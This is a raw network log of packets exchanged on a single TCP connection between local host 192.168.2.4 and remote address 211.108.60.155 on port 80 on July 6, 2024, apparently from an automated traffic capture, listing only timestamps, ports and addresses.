Jul 6, 2024 14:10:01.653008938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653021097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653032064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653043032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653053999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653059959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653072119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653075933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653094053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653116941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653279066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653289080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653299093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653310061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653318882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653321028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653331995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653342009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653347969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653350115 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653362036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653383017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653745890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653757095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653767109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653776884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653786898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653795958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653798103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653805017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653809071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653815031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653824091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653829098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653832912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653842926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653846979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653853893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653860092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653863907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653873920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653877974 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653883934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653892994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.653898954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.653925896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654201984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654211044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654220104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654230118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654232979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654238939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654246092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654268980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654452085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654459000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654467106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654476881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654484034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654489994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654493093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654501915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654503107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654510975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654517889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654524088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654527903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654536009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654536009 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654546976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654560089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654568911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654572010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654576063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654583931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654592037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654592991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654601097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654609919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654613018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654618979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654628038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654639959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654644012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654644012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654648066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654656887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654665947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654670000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654673100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654680967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654690027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654697895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654697895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654706955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654716015 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654716969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654722929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654728889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654736042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654747009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654752970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654753923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.654769897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.654791117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655448914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655459881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655468941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655477047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655486107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655488014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655494928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655503035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655512094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655513048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655522108 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655530930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655534029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655539036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655546904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655550003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655558109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655565977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655571938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655575037 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655584097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655591965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655592918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655601978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655602932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655611992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655620098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655626059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655628920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655637980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655647993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.655648947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655668020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.655678988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790092945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790107965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790117025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790183067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790230989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790272951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790288925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790297985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790308952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790323019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790405989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790416002 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790431023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790451050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790463924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790525913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790534973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790563107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790741920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790775061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790812969 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790821075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790828943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.790847063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.790858030 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791019917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791029930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791052103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791055918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791064978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791074991 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791157007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791188955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791496038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791532040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791626930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791655064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791753054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791763067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.791788101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.791798115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792056084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792089939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792418957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792429924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792438984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792448997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792454004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792467117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792493105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792574883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792584896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792593956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792602062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792607069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792612076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792622089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.792629957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792638063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.792664051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793028116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793036938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793045044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793055058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793064117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793073893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793087959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793646097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793658972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793673992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793684006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793689013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793720007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793742895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793821096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793829918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793838978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793848038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793848038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793858051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.793859005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793879986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.793905973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794209957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794251919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794342995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794353008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794363022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794373035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794373035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794384003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794389963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794394970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794409037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794431925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794747114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794756889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794766903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794785023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794795036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794811010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794826031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794840097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794847012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794858932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794867992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794872046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794898987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794898987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794924021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.794965982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.794996023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.795217991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.795227051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.795237064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.795250893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.795264006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.795270920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.795291901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987087011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987257004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987315893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987360001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987484932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987529993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987534046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987544060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987552881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987581015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987595081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987757921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987802982 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987853050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987863064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987871885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987894058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987926960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.987966061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.987974882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988012075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988346100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988368988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988378048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988396883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988396883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988415003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988452911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988462925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988472939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988486052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988500118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988511086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988521099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988545895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988554955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988584995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.988941908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.988950014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989008904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989067078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989078045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989088058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989104033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989130020 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989563942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989608049 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989669085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989679098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989707947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989726067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989733934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989744902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989754915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989758015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989764929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989780903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989808083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989809036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989840031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989873886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989883900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989908934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989922047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.989943981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989954948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.989984989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.990111113 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.990151882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.990617990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.990638018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.990653992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.990658045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:01.990664005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:01.990670919 CEST	49732	80	192.168.2.4	211.108.60.155
